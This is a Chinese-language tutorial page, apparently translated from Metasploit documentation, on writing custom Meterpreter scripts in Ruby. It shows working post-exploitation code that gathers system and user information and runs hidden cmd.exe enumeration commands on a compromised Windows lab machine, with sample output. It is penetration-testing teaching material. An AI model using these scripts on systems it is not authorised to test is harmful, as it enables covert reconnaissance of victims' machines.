Metasploit 自定义脚本

现在我们已经感觉如何使用irb来测试API调用,让我们来看看返回的对象和测试基本结构。现在,如果没有标准的Hello World,没有第一个脚本是完整的,所以让我们创建一个名为helloworld.rb的脚本并将其保存到/ usr / share / metasploit-framework / scripts / meterpreter

[email protected]:~# echo “print_status(“Hello World”)” > /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb

 

我们现在使用run命令从控制台执行我们的脚本。

meterpreter > run helloworld
[*] Hello World
meterpreter >

 

现在,让我们建立在这个基础上。我们将添加一些其他API调用到脚本。将这些行添加到脚本中:

print_error(“this is an error!”)
print_line(“this is a line”)

与标准输入,标准输出和标准错误的概念很相似,这些不同的状态,错误和行的行在向运行脚本的用户提供信息时都有不同的用途。

 

现在,当我们执行我们的文件时,我们得到:

meterpreter > run helloworld
[*] Hello World
[-] this is an error!
this is a line
meterpreter >

 

helloworld.rb

print_status("Hello World")
print_error("this is an error!")
print_line("This is a line")

 

让我们进一步讨论一下,创建一个函数来打印一些常规信息并在第二个文件中添加错误处理。这个新功能将具有以下架构:

 def geninfo(session)
    begin
    …..
    rescue ::Exception => e
    …..
    end
 end

 

能的使用使我们能够使我们的代码模块化并且更加可重用。这种错误处理将帮助我们对脚本进行故障排除,因此,使用我们之前介绍的一些API调用,我们可以构建一个如下所示的函数:

 def getinfo(session)
    begin
       sysnfo = session.sys.config.sysinfo
       runpriv = session.sys.config.getuid
       print_status("Getting system information ...")
       print_status("tThe target machine OS is #{sysnfo['OS']}")
       print_status("tThe computer name is #{'Computer'} ")
       print_status("tScript running as #{runpriv}")
    rescue ::Exception => e
       print_error("The following error was encountered #{e}")
    end
 end

让我们来分解我们在这里做的事情。我们定义了一个名为getinfo的函数,它接受一个参数,我们将其放置在名为'session'的局部变量中。这个变量有几个方法被调用来提取系统和用户信息,然后我们打印几条状态行来报告方法的发现。在某些情况下,我们正在打印的信息是来自散列,所以我们必须确保正确调用变量。我们还在其中放置了一个错误处理程序,它将返回我们可能遇到的任何错误消息。

 

现在我们有了这个功能,我们只需要调用它并为其添加Meterpreter客户端会话。要调用它,我们只需在脚本结尾处放置以下内容:

getinfo(client)

 

现在我们执行脚本,我们可以看到它的输出:

 meterpreter > run helloworld2
 [*] Getting system information ...
 [*]     The target machine OS is Windows XP (Build 2600, Service Pack 3).
 [*]     The computer name is Computer
 [*]     Script running as WINXPVM01labuser

 

helloworld2.rb

 def getinfo(session)
    begin
       sysnfo = session.sys.config.sysinfo
       runpriv = session.sys.config.getuid
       print_status("Getting system information ...")
       print_status("tThe target machine OS is #{sysnfo['OS']}")
       print _status("tThe computer name is #{'Computer'} ")
       print_status("tScript running as #{runpriv}")
 rescue ::Exception => e
       print_error("The following error was encountered #{e}")
    end
 end
 
 
 getinfo(client)

 

正如你所看到的,这些非常简单的步骤可以为我们提供创建高级Meterpreter脚本的基础知识。让我们展开这个脚本来收集更多关于我们目标的信息。让我们创建另一个执行命令和打印输出的函数:

 def list_exec(session,cmdlst)
    print_status("Running Command List ...")
    r=''
    session.response_timeout=120
    cmdlst.each do |cmd|
       begin
          print_status "trunning command #{cmd}"
          r = session.sys.process.execute(“cmd.exe /c #{cmd}”, nil, {'Hidden' => true, 'Channelized' => true})
          while(d = r.channel.read)
 
             print_status("t#{d}")
          end
          r.channel.close
          r.close
       rescue ::Exception => e
          print_error("Error Running Command #{cmd}: #{e.class} #{e}")
       end
    end
 end

再次,让我们分解我们在这里做的事情。我们定义一个需要两个参数的函数,其中第二个参数是一个数组。超时也建立,以便该功能不会挂在我们身上。然后,我们设置一个“for each”循环,该循环在传递给函数的数组上运行,该函数将获取数组中的每个项并通过cmd.exe / c在系统上执行它,从而打印从命令执行。最后,建立一个错误处理程序来捕获执行该函数时出现的任何问题。

 

现在我们设置一组枚举目标主机的命令:

 commands = [ “set”,
    “ipconfig  /all”,
    “arp –a”]

 

然后用命令调用它

list_exec(client,commands)

 

有了这个,当我们运行它时,我们得到:

 meterpreter > run helloworld3
 [*] Running Command List ...
 [*]     running command set
 [*]     ALLUSERSPROFILE=C:\Documents and Settings\All Users
 APPDATA=C:\Documents and Settings\P0WN3D\Application Data
 CommonProgramFiles=C:\Program Files\Common Files
 COMPUTERNAME=TARGET
 ComSpec=C:\WINNT\system32\cmd.exe
 HOMEDRIVE=C:
 HOMEPATH=
 LOGONSERVER=TARGET
 NUMBER_OF_PROCESSORS=1
 OS=Windows_NT
 Os2LibPath=C:\WINNT\system32\os2dll;
 Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\System32\Wbem
 PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
 PROCESSOR_ARCHITECTURE=x86
 PROCESSOR_IDENTIFIER=x86 Family 6 Model 7 Stepping 6, GenuineIntel
 PROCESSOR_LEVEL=6
 PROCESSOR_REVISION=0706
 ProgramFiles=C:\Program Files
 PROMPT=$P$G
 SystemDrive=C:
 SystemRoot=C:\WINNT
 TEMP=C:\DOCUME~1\P0WN3D\LOCALS~1\Temp
 TMP=C:\DOCUME~1\P0WN3D\LOCALS~1\Temp
 USERDOMAIN=TARGET
 USERNAME=P0WN3D
 USERPROFILE=C:\Documents and Settings\P0WN3D
 windir=C:\WINNT
 
 [*]     running command ipconfig  /all
 [*]     
 Windows 2000 IP Configuration
 
 Host Name . . . . . . . . . . . . : target
 Primary DNS Suffix  . . . . . . . : 
 Node Type . . . . . . . . . . . . : Hybrid
 IP Routing Enabled. . . . . . . . : No
 WINS Proxy Enabled. . . . . . . . : No
 DNS Suffix Search List. . . . . . : localdomain
 
 Ethernet adapter Local Area Connection:
 
 Connection-specific DNS Suffix  . : localdomain
 Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter
 Physical Address. . . . . . . . . : 00-0C-29-85-81-55
 DHCP Enabled. . . . . . . . . . . : Yes
 Autoconfiguration Enabled . . . . : Yes
 IP Address. . . . . . . . . . . . : 172.16.104.145
 Subnet Mask . . . . . . . . . . . : 255.255.255.0
 Default Gateway . . . . . . . . . : 172.16.104.2
 DHCP Server . . . . . . . . . . . : 172.16.104.254
 DNS Servers . . . . . . . . . . . : 172.16.104.2
 Primary WINS Server . . . . . . . : 172.16.104.2
 Lease Obtained. . . . . . . . . . : Tuesday, August 25, 2009 10:53:48 PM
 Lease Expires . . . . . . . . . . : Tuesday, August 25, 2009 11:23:48 PM
 
 [*]     running command arp -a
 [*]     
 Interface: 172.16.104.145 on Interface 0x1000003
 Internet Address      Physical Address      Type
 172.16.104.2          00-50-56-eb-db-06     dynamic   
 172.16.104.150        00-0c-29-a7-f1-c5     dynamic   
 
 meterpreter >

 

helloworld3.rb

 def list_exec(session,cmdlst)
    print_status("Running Command List ...")
    r=''
    session.response_timeout=120
    cmdlst.each do |cmd|
       begin
          print_status "running command #{cmd}"
          r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
          while(d = r.channel.read)
 
             print_status("t#{d}")
          end
          r.channel.close
          r.close
       rescue ::Exception => e
          print_error("Error Running Command #{cmd}: #{e.class} #{e}")
       end
    end
 end
 
 commands = [ "set",
    "ipconfig  /all",
    "arp -a"]
 
 list_exec(client,commands)

 

Meterpreter

如您所见,创建自定义的Meterpreter脚本并不难,只要您一步一步完成,就可以构建自己的脚本。只要记住经常测试,并返回来源的各种API调用操作。

    A+
发布日期:2018年06月05日  所属分类:Metasploit
最后修改时间:2018-06-05 22:01
评分: (当前没有评级)
付杰
永久免费SSL证书服务 HTTPS申请 安装 配置 支持通配符*
永久免费SSL证书服务 HTTPS申请 安装 配置 支持通配符*
  • ¥ 199.9元
  • 市场价:20000元
wordpress discux dedecms 帝国 phpcms等快速建站服务
wordpress discux dedecms 帝国 phpcms等快速建站服务
  • ¥ 99.9元
  • 市场价:499.9元
PHP运行环境 Wamp Lamp Lnmp 安装、配置、搭建服务
PHP运行环境 Wamp Lamp Lnmp 安装、配置、搭建服务
  • ¥ 9.9元
  • 市场价:49.9元
SEO顾问服务 中小型网站 单站/最低99.9元 全方位优化
SEO顾问服务 中小型网站 单站/最低99.9元 全方位优化
  • ¥ 99.9元
  • 市场价:5000元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: